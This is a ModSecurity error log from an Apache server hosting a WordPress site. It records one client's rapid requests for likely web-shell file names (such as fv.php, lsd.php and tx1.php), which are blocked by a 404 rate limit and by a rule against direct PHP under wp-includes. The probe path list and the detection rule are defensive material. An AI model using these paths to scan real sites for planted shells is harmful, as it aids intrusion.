[Sat Jan 03 22:35:13.878995 2026] [:error] [pid 1931:tid 2047] [client 4.197.161.255:19871] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpIR8Tyw7ZoIdXlcYVsgAAAJc"]
[Sat Jan 03 22:35:15.511117 2026] [:error] [pid 19639:tid 19650] [client 4.197.161.255:7147] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpIyQ7fWZUytnlHEwKUAAAAUk"]
[Sat Jan 03 22:35:16.377157 2026] [:error] [pid 34260:tid 34279] [client 4.197.161.255:19927] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpJEWWhyvZ0O9KNVQyVQAAARE"]
[Sat Jan 03 22:35:16.926257 2026] [:error] [pid 34260:tid 34273] [client 4.197.161.255:19900] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aVkpJEWWhyvZ0O9KNVQyVgAAAQs"]
[Sat Jan 03 22:35:17.466287 2026] [:error] [pid 31630:tid 31639] [client 4.197.161.255:7150] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aVkpJfUV_PU2SWgLPuhuEAAAAYc"]
[Sat Jan 03 22:35:17.989958 2026] [:error] [pid 31222:tid 31225] [client 4.197.161.255:19880] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aVkpJaHw6nASHXAc2v_2ZwAAAcE"]
[Sat Jan 03 22:35:19.015150 2026] [:error] [pid 1930:tid 1977] [client 4.197.161.255:19903] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aVkpJ5P-6mqhfUDa89zycAAAAEs"]
[Sat Jan 03 22:35:19.542071 2026] [:error] [pid 31630:tid 31655] [client 4.197.161.255:19892] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/randkeyword.php"] [unique_id "aVkpJ_UV_PU2SWgLPuhuEgAAAZc"]
[Sat Jan 03 22:35:19.848254 2026] [:error] [pid 31630:tid 31653] [client 4.197.161.255:19960] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aVkpJ_UV_PU2SWgLPuhuEwAAAZU"]
[Sat Jan 03 22:35:20.347143 2026] [:error] [pid 31630:tid 31637] [client 4.197.161.255:19890] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aVkpKPUV_PU2SWgLPuhuFQAAAYU"]
[Sat Jan 03 22:35:20.782372 2026] [:error] [pid 31222:tid 31233] [client 4.197.161.255:19925] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aVkpKKHw6nASHXAc2v_2aQAAAck"]
[Sat Jan 03 22:35:21.901121 2026] [:error] [pid 31630:tid 31644] [client 4.197.161.255:19850] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aVkpKfUV_PU2SWgLPuhuFwAAAYw"]
[Sat Jan 03 22:35:22.943198 2026] [:error] [pid 31630:tid 31632] [client 4.197.161.255:19896] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aVkpKvUV_PU2SWgLPuhuGQAAAYA"]
[Sat Jan 03 22:35:24.306837 2026] [:error] [pid 31630:tid 31647] [client 4.197.161.255:19881] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aVkpLPUV_PU2SWgLPuhuGgAAAY8"]
[Sat Jan 03 22:35:25.575649 2026] [:error] [pid 31630:tid 31645] [client 4.197.161.255:19883] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aVkpLfUV_PU2SWgLPuhuGwAAAY0"]
[Sat Jan 03 22:35:26.970037 2026] [:error] [pid 31630:tid 31638] [client 4.197.161.255:7122] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aVkpLvUV_PU2SWgLPuhuHgAAAYY"]
[Sat Jan 03 22:35:27.388730 2026] [:error] [pid 2083:tid 2109] [client 4.197.161.255:19921] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aVkpLzVlR_BmlMPnhV4nJgAAANg"]
[Sat Jan 03 22:35:27.503740 2026] [:error] [pid 19639:tid 19659] [client 4.197.161.255:7131] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aVkpLyQ7fWZUytnlHEwKUgAAAVI"]
[Sat Jan 03 22:35:28.879275 2026] [:error] [pid 1931:tid 2045] [client 4.197.161.255:19964] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aVkpMB8Tyw7ZoIdXlcYVtwAAAJU"]
[Sat Jan 03 22:35:29.960361 2026] [:error] [pid 1930:tid 1976] [client 4.197.161.255:19941] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx1.php"] [unique_id "aVkpMZP-6mqhfUDa89zycQAAAEo"]
[Sat Jan 03 22:35:30.878969 2026] [:error] [pid 19639:tid 19647] [client 4.197.161.255:19879] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVkpMiQ7fWZUytnlHEwKVAAAAUY"]
[Sat Jan 03 22:35:31.974630 2026] [:error] [pid 19639:tid 19663] [client 4.197.161.255:19919] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVkpMyQ7fWZUytnlHEwKVQAAAVY"]
[Sat Jan 03 22:35:32.852978 2026] [:error] [pid 19639:tid 19657] [client 4.197.161.255:19852] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVkpNCQ7fWZUytnlHEwKVwAAAVA"]
[Sat Jan 03 22:35:33.652818 2026] [:error] [pid 1931:tid 2031] [client 4.197.161.255:19918] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aVkpNR8Tyw7ZoIdXlcYVvgAAAIc"]
[Sat Jan 03 22:35:34.629625 2026] [:error] [pid 1930:tid 1967] [client 4.197.161.255:7149] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVkpNpP-6mqhfUDa89zycgAAAEE"]
[Sat Jan 03 22:35:35.389975 2026] [:error] [pid 31222:tid 31225] [client 4.197.161.255:19945] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVkpN6Hw6nASHXAc2v_2cQAAAcE"]
[Sat Jan 03 22:35:35.710886 2026] [:error] [pid 1931:tid 2039] [client 4.197.161.255:7116] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVkpNx8Tyw7ZoIdXlcYVwgAAAI8"]
[Sat Jan 03 22:35:36.155931 2026] [:error] [pid 1931:tid 2043] [client 4.197.161.255:19895] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aVkpOB8Tyw7ZoIdXlcYVwwAAAJM"]
[Sat Jan 03 22:35:37.451992 2026] [:error] [pid 1929:tid 1950] [client 4.197.161.255:19943] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVkpOecFqdpu6TNsuWr9lQAAAAw"]
[Sat Jan 03 22:35:40.127863 2026] [:error] [pid 1931:tid 2048] [client 4.197.161.255:7160] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVkpPB8Tyw7ZoIdXlcYVyAAAAJg"]
[Sat Jan 03 22:35:41.300908 2026] [:error] [pid 34260:tid 34262] [client 4.197.161.255:19899] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVkpPUWWhyvZ0O9KNVQyXQAAAQA"]
[Sat Jan 03 22:35:43.407374 2026] [:error] [pid 1930:tid 1981] [client 4.197.161.255:7040] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aVkpP5P-6mqhfUDa89zycwAAAE8"]
[Sat Jan 03 22:35:44.102731 2026] [:error] [pid 1929:tid 1943] [client 4.197.161.255:7064] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVkpQOcFqdpu6TNsuWr9mQAAAAU"]
[Sat Jan 03 22:35:44.730209 2026] [:error] [pid 31222:tid 31228] [client 4.197.161.255:7105] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVkpQKHw6nASHXAc2v_2dAAAAcQ"]
[Sat Jan 03 22:35:45.533380 2026] [:error] [pid 34260:tid 34272] [client 4.197.161.255:7120] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVkpQUWWhyvZ0O9KNVQyYQAAAQo"]
[Sat Jan 03 22:35:46.854389 2026] [:error] [pid 1931:tid 2037] [client 4.197.161.255:7145] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aVkpQh8Tyw7ZoIdXlcYVzAAAAI0"]
[Sat Jan 03 22:35:47.543348 2026] [:error] [pid 1930:tid 1975] [client 4.197.161.255:7144] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVkpQ5P-6mqhfUDa89zydAAAAEk"]
[Sat Jan 03 22:35:49.634484 2026] [:error] [pid 1929:tid 1960] [client 4.197.161.255:19870] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVkpRecFqdpu6TNsuWr9nAAAABY"]
[Sat Jan 03 22:35:53.118425 2026] [:error] [pid 1931:tid 2044] [client 4.197.161.255:7057] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVkpSR8Tyw7ZoIdXlcYV0wAAAJQ"]
[Sat Jan 03 22:35:54.524598 2026] [:error] [pid 19639:tid 19642] [client 4.197.161.255:7161] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lsd.php"] [unique_id "aVkpSiQ7fWZUytnlHEwKZwAAAUE"]
[Sat Jan 03 22:35:56.659935 2026] [:error] [pid 1930:tid 1974] [client 4.197.161.255:19934] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVkpTJP-6mqhfUDa89zyegAAAEg"]
[Sat Jan 03 22:36:15.592626 2026] [:error] [pid 1930:tid 1984] [client 4.197.161.255:19873] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVkpX5P-6mqhfUDa89zyjwAAAFI"]
[Sat Jan 03 22:36:17.179793 2026] [:error] [pid 31222:tid 31245] [client 4.197.161.255:19936] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVkpYaHw6nASHXAc2v_2fwAAAdU"]
[Sat Jan 03 22:36:19.650667 2026] [:error] [pid 1931:tid 2029] [client 4.197.161.255:7112] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVkpYx8Tyw7ZoIdXlcYV5wAAAIU"]
[Sat Jan 03 22:36:21.427805 2026] [:error] [pid 1929:tid 1942] [client 4.197.161.255:7133] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aVkpZecFqdpu6TNsuWr9tgAAAAQ"]
[Sat Jan 03 22:36:23.024103 2026] [:error] [pid 1931:tid 2037] [client 4.197.161.255:7129] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpZx8Tyw7ZoIdXlcYV6AAAAI0"]
[Sat Jan 03 22:36:24.099045 2026] [:error] [pid 19639:tid 19654] [client 4.197.161.255:19869] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpaCQ7fWZUytnlHEwKegAAAU0"]
[Sat Jan 03 22:36:25.537281 2026] [:error] [pid 1929:tid 1938] [client 4.197.161.255:19947] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpaecFqdpu6TNsuWr9uwAAAAA"]
[Sat Jan 03 22:36:28.170111 2026] [:error] [pid 31222:tid 31242] [client 4.197.161.255:7154] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css.php"] [unique_id "aVkpbKHw6nASHXAc2v_2kAAAAdI"]
[Sat Jan 03 22:36:30.471103 2026] [:error] [pid 1929:tid 1955] [client 4.197.161.255:19909] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVkpbucFqdpu6TNsuWr9vQAAABE"]
[Sat Jan 03 22:36:30.876690 2026] [:error] [pid 1931:tid 2031] [client 4.197.161.255:7140] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVkpbh8Tyw7ZoIdXlcYV6gAAAIc"]
[Sat Jan 03 22:36:32.872709 2026] [:error] [pid 1929:tid 1956] [client 4.197.161.255:7166] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVkpcOcFqdpu6TNsuWr9wAAAABI"]
[Sat Jan 03 22:36:34.313756 2026] [:error] [pid 34260:tid 34273] [client 4.197.161.255:7138] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aVkpckWWhyvZ0O9KNVQyiQAAAQs"]
[Sat Jan 03 22:36:34.723379 2026] [:error] [pid 1930:tid 1987] [client 4.197.161.255:19877] [client 4.197.161.255] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVkpcpP-6mqhfUDa89zykQAAAFU"]
[Sat Jan 03 22:36:34.895940 2026] [:error] [pid 31630:tid 31632] [client 4.197.161.255:7127] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVkpcvUV_PU2SWgLPuhuLwAAAYA"]
[Sat Jan 03 22:36:35.903166 2026] [:error] [pid 31222:tid 31229] [client 4.197.161.255:7130] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aVkpc6Hw6nASHXAc2v_2kgAAAcU"]
